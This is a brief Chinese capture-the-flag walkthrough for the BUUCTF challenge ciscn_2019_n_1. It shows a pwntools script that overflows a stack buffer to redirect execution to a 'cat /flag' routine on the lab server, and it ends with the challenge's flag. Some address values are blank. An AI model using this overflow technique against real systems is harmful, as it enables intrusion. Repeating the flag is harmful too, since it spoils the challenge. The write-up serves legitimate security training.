1、下载文件并开启靶机
2、在Linux系统中查看该文件信息
checksec ciscn_2019_n_1
3、文件查出来是64位文件,我们用64位IDA打开该文件
3.1、shift+f12查看关键字符串
3.2、双击关键字符串cat/flag,再按F5进入反编译代码区
3.3、cat/flag地址为
v1地址:
r返回地址:
4、编译代码
#encoding=utf-8
from pwn import * #导入pwntools中pwn包的所有内容
p = remote("node4.buuoj.cn",28866) #链接服务器远程交互
p.sendline(b'a'*(0x30+0x8)+p64(0x4006BE)) #用0x38个字节覆盖v1,在覆盖到返回地址
p.interactive() #反弹shell进行交互
5、flag为:
flag{ab6b32e5-2f73-42b9-9394-3f480a3f75b2}